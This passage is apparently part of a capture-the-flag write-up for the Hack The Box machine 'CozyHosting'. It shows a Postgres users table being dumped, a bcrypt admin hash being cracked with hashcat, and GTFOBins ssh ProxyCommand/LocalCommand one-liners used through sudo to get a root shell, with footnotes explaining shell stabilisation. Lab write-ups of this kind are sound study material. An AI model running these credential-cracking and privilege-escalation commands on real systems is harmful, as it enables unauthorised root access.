https://substackcdn.com/image/fetch/$s_!mkAv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2aea2908-45de-45a8-be3e-d37dea4f7918_735x650.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><pre><code>\connect cozyhosting
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=# \dt
\dt
WARNING: terminal is not fully functional
Press RETURN to continue

         List of relations
 Schema | Name  | Type  |  Owner
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)
</code></pre><p>Selecting all from the &#8220;users&#8221; tables identified two hashed passwords.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!25s7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27084bc-0c50-4214-8a64-36d1ac8eaf45_699x242.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!25s7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27084bc-0c50-4214-8a64-36d1ac8eaf45_699x242.png 424w, https://substackcdn.com/image/fetch/$s_!25s7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27084bc-0c50-4214-8a64-36d1ac8eaf45_699x242.png 848w, https://substackcdn.com/image/fetch/$s_!25s7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27084bc-0c50-4214-8a64-36d1ac8eaf45_699x242.png 1272w, https://substackcdn.com/image/fetch/$s_!25s7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27084bc-0c50-4214-8a64-36d1ac8eaf45_699x242.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!25s7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27084bc-0c50-4214-8a64-36d1ac8eaf45_699x242.png" width="699" height="242" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b27084bc-0c50-4214-8a64-36d1ac8eaf45_699x242.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:242,&quot;width&quot;:699,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:36753,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!25s7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27084bc-0c50-4214-8a64-36d1ac8eaf45_699x242.png 424w, https://substackcdn.com/image/fetch/$s_!25s7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27084bc-0c50-4214-8a64-36d1ac8eaf45_699x242.png 848w, https://substackcdn.com/image/fetch/$s_!25s7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27084bc-0c50-4214-8a64-36d1ac8eaf45_699x242.png 1272w, https://substackcdn.com/image/fetch/$s_!25s7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb27084bc-0c50-4214-8a64-36d1ac8eaf45_699x242.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Hashid identified the hashes as likely Blowfish.</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/cozyhosting/credentials]
&#9492;&#9472;$ hashid admin-hash
--File 'admin-hash'--
Analyzing '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
--End of file 'admin-hash'-- </code></pre><p>A quick grep of the Hashcat help menu confirms Blowfish as &#8220;-m 3200&#8221;.</p><pre><code>(emdeh&#12927;kali)-[~/Documents/htb-machines/cozyhosting/credentials]
&#9492;&#9472;$ hashcat --help | grep Blow
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  18600 | Open Document Format (ODF) 1.1 (SHA-1, Blowfish)           | Document</code></pre><p>Hashchat was then used to crack the hash for the admin user.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!NIiy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c7a92ba-df3a-44a3-b231-b8b2e0bf86ea_728x578.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!NIiy!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c7a92ba-df3a-44a3-b231-b8b2e0bf86ea_728x578.png 424w, https://substackcdn.com/image/fetch/$s_!NIiy!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c7a92ba-df3a-44a3-b231-b8b2e0bf86ea_728x578.png 848w, https://substackcdn.com/image/fetch/$s_!NIiy!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c7a92ba-df3a-44a3-b231-b8b2e0bf86ea_728x578.png 1272w, https://substackcdn.com/image/fetch/$s_!NIiy!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c7a92ba-df3a-44a3-b231-b8b2e0bf86ea_728x578.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!NIiy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c7a92ba-df3a-44a3-b231-b8b2e0bf86ea_728x578.png" width="728" height="578" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2c7a92ba-df3a-44a3-b231-b8b2e0bf86ea_728x578.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:578,&quot;width&quot;:728,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:126568,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!NIiy!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c7a92ba-df3a-44a3-b231-b8b2e0bf86ea_728x578.png 424w, https://substackcdn.com/image/fetch/$s_!NIiy!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c7a92ba-df3a-44a3-b231-b8b2e0bf86ea_728x578.png 848w, https://substackcdn.com/image/fetch/$s_!NIiy!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c7a92ba-df3a-44a3-b231-b8b2e0bf86ea_728x578.png 1272w, https://substackcdn.com/image/fetch/$s_!NIiy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c7a92ba-df3a-44a3-b231-b8b2e0bf86ea_728x578.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Attempting the recovered password with Josh&#8217;s account wassuccessful, and the first flag is located.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jubr!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7acd4035-0205-4db9-916f-99390816205f_610x203.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jubr!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7acd4035-0205-4db9-916f-99390816205f_610x203.png 424w, https://substackcdn.com/image/fetch/$s_!jubr!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7acd4035-0205-4db9-916f-99390816205f_610x203.png 848w, https://substackcdn.com/image/fetch/$s_!jubr!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7acd4035-0205-4db9-916f-99390816205f_610x203.png 1272w, https://substackcdn.com/image/fetch/$s_!jubr!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7acd4035-0205-4db9-916f-99390816205f_610x203.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jubr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7acd4035-0205-4db9-916f-99390816205f_610x203.png" width="610" height="203" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7acd4035-0205-4db9-916f-99390816205f_610x203.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:203,&quot;width&quot;:610,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:16266,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jubr!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7acd4035-0205-4db9-916f-99390816205f_610x203.png 424w, https://substackcdn.com/image/fetch/$s_!jubr!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7acd4035-0205-4db9-916f-99390816205f_610x203.png 848w, https://substackcdn.com/image/fetch/$s_!jubr!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7acd4035-0205-4db9-916f-99390816205f_610x203.png 1272w, https://substackcdn.com/image/fetch/$s_!jubr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7acd4035-0205-4db9-916f-99390816205f_610x203.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div><hr></div><h1>Privilege escalation</h1><p>Checking sudo permissions revealed Josh can run <strong>/usr/bin/ssh</strong> as sudo.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KxFs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87394712-0908-47fb-9108-e89c21a23b1e_784x256.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KxFs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87394712-0908-47fb-9108-e89c21a23b1e_784x256.png 424w, https://substackcdn.com/image/fetch/$s_!KxFs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87394712-0908-47fb-9108-e89c21a23b1e_784x256.png 848w, https://substackcdn.com/image/fetch/$s_!KxFs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87394712-0908-47fb-9108-e89c21a23b1e_784x256.png 1272w, https://substackcdn.com/image/fetch/$s_!KxFs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87394712-0908-47fb-9108-e89c21a23b1e_784x256.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KxFs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87394712-0908-47fb-9108-e89c21a23b1e_784x256.png" width="784" height="256" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/87394712-0908-47fb-9108-e89c21a23b1e_784x256.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:256,&quot;width&quot;:784,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:43404,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!KxFs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87394712-0908-47fb-9108-e89c21a23b1e_784x256.png 424w, https://substackcdn.com/image/fetch/$s_!KxFs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87394712-0908-47fb-9108-e89c21a23b1e_784x256.png 848w, https://substackcdn.com/image/fetch/$s_!KxFs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87394712-0908-47fb-9108-e89c21a23b1e_784x256.png 1272w, https://substackcdn.com/image/fetch/$s_!KxFs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87394712-0908-47fb-9108-e89c21a23b1e_784x256.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Reviewing <a href="https://gtfobins.github.io/gtfobins/ssh/">GTFOBins</a> identified a potential vectors to local privilege escalation.</p><blockquote><p><em>Spawn interactive shell through ProxyCommand option.</em></p></blockquote><pre><code><code>ssh -o ProxyCommand=';sh 0&lt;&amp;2 1&gt;&amp;2' x</code></code></pre><blockquote><p><em>Spawn interactive shell on client, requires a successful connection towards </em><code>host</code><em>.</em></p></blockquote><pre><code><code>ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host</code></code></pre><p>Attempting the second one<a class="footnote-anchor" data-component-name="FootnoteAnchorToDOM" id="footnote-anchor-2" href="#footnote-2" target="_self">2</a> was successful, and a root shell is spawned and the final flag located.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tPBA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F078f1ace-3257-49fd-bd04-e5c3e94db8c6_886x144.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tPBA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F078f1ace-3257-49fd-bd04-e5c3e94db8c6_886x144.png 424w, https://substackcdn.com/image/fetch/$s_!tPBA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F078f1ace-3257-49fd-bd04-e5c3e94db8c6_886x144.png 848w, https://substackcdn.com/image/fetch/$s_!tPBA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F078f1ace-3257-49fd-bd04-e5c3e94db8c6_886x144.png 1272w, https://substackcdn.com/image/fetch/$s_!tPBA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F078f1ace-3257-49fd-bd04-e5c3e94db8c6_886x144.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tPBA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F078f1ace-3257-49fd-bd04-e5c3e94db8c6_886x144.png" width="886" height="144" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/078f1ace-3257-49fd-bd04-e5c3e94db8c6_886x144.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:144,&quot;width&quot;:886,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:28899,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!tPBA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F078f1ace-3257-49fd-bd04-e5c3e94db8c6_886x144.png 424w, https://substackcdn.com/image/fetch/$s_!tPBA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F078f1ace-3257-49fd-bd04-e5c3e94db8c6_886x144.png 848w, https://substackcdn.com/image/fetch/$s_!tPBA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F078f1ace-3257-49fd-bd04-e5c3e94db8c6_886x144.png 1272w, https://substackcdn.com/image/fetch/$s_!tPBA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F078f1ace-3257-49fd-bd04-e5c3e94db8c6_886x144.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="footnote" data-component-name="FootnoteToDOM"><a id="footnote-1" href="#footnote-anchor-1" class="footnote-number" contenteditable="false" target="_self">1</a><div class="footnote-content"><h4>How the Command Works</h4><ol><li><p><code>script</code> Command:</p><ul><li><p>The <code>script</code> command starts a new shell session and records everything printed to the terminal into a file (in this case, <code>/dev/null</code>).</p></li><li><p><code>script</code> is commonly used for logging terminal sessions.</p></li></ul></li><li><p><code>/dev/null</code>:</p><ul><li><p><code>/dev/null</code> is a special file that discards all data written to it (often referred to as the "null device").</p></li><li><p>By redirecting the output to <code>/dev/null</code>, you effectively disable logging, as all output is discarded.</p></li></ul></li><li><p><code>-c bash</code>:</p><ul><li><p>The <code>-c</code> option allows you to pass a command to be executed by <code>script</code>.</p></li><li><p>In this case, the command is <code>bash</code>, which starts a new Bash shell.</p></li></ul></li></ol><h4>Why It Helps Stabilize a Shell</h4><p>When you obtain a reverse shell, it often lacks some features of a fully interactive shell, such as a proper terminal environment, command history, job control, and signal handling. Using <code>script /dev/null -c bash</code> helps mitigate these issues by providing a more stable shell environment.</p><h4>Advantages</h4><ol><li><p><strong>Proper Terminal:</strong></p><ul><li><p><code>script</code> creates a new pseudo-terminal (pty), which helps provide a fully interactive shell.</p></li></ul></li><li><p><strong>Signal Handling:</strong></p><ul><li><p>The new shell has better signal handling, which can help in using commands that require a proper terminal (e.g., <code>nano</code>, <code>top</code>, <code>htop</code>).</p></li></ul></li><li><p><strong>Command History:</strong></p><ul><li><p>It often enables command history and line-editing features.</p></li></ul></li></ol><div><hr></div><p></p></div></div><div class="footnote" data-component-name="FootnoteToDOM"><a id="footnote-2" href="#footnote-anchor-2" class="footnote-number" contenteditable="false" target="_self">2</a><div class="footnote-content"><h4>Breakdown of the Command</h4><ol><li><p><code>sudo</code>:</p><ul><li><p>Runs the command with superuser privileges. This allows the user to execute the command with elevated permissions.</p></li></ul></li><li><p><code>/usr/bin/ssh</code>:</p><ul><li><p>Specifies the path to the <code>ssh</code> executable, which is used to connect to a remote server securely.</p></li></ul></li><li><p><code>-o PermitLocalCommand=yes</code>:</p><ul><li><p>This option enables the execution of a local command after successfully connecting to the SSH server.</p></li><li><p><code>PermitLocalCommand</code> is a configuration option in SSH that allows or disallows the use of the <code>LocalCommand</code> option.</p></li></ul></li><li><p><code>-o 'LocalCommand=/bin/bash'</code>:</p><ul><li><p>Specifies the command to be executed locally after the SSH connection is established.</p></li><li><p><code>LocalCommand</code> is the command that will be executed on the local machine.</p></li><li><p><code>/bin/bash</code> indicates that a new bash shell should be opened on the local machine.</p></li></ul></li><li><p><code>josh@127.0.0.1</code>:</p><ul><li><p>This specifies the SSH connection target. Here, it connects to the <code>josh</code> user on the local machine (<code>127.0.0.1</code> is the loopback address, which refers to the local host).</p></li></ul></li></ol><h4>What the Command Does</h4><ol><li><p><strong>Establishes an SSH Connection:</strong></p><ul><li><p>The command initiates an SSH connection to the local machine (<code>127.0.0.1</code>) as the user <code>josh</code>.</p></li></ul></li><li><p><strong>Executes a Local Command:</strong></p><ul><li><p>Due to the <code>PermitLocalCommand=yes</code> option, the local command (<code>/bin/bash</code>) specified by <code>LocalCommand</code> is executed on the local machine after establishing the SSH connection.</p></li><li><p>This effectively opens a new bash shell on the local machine with superuser privileges (because of 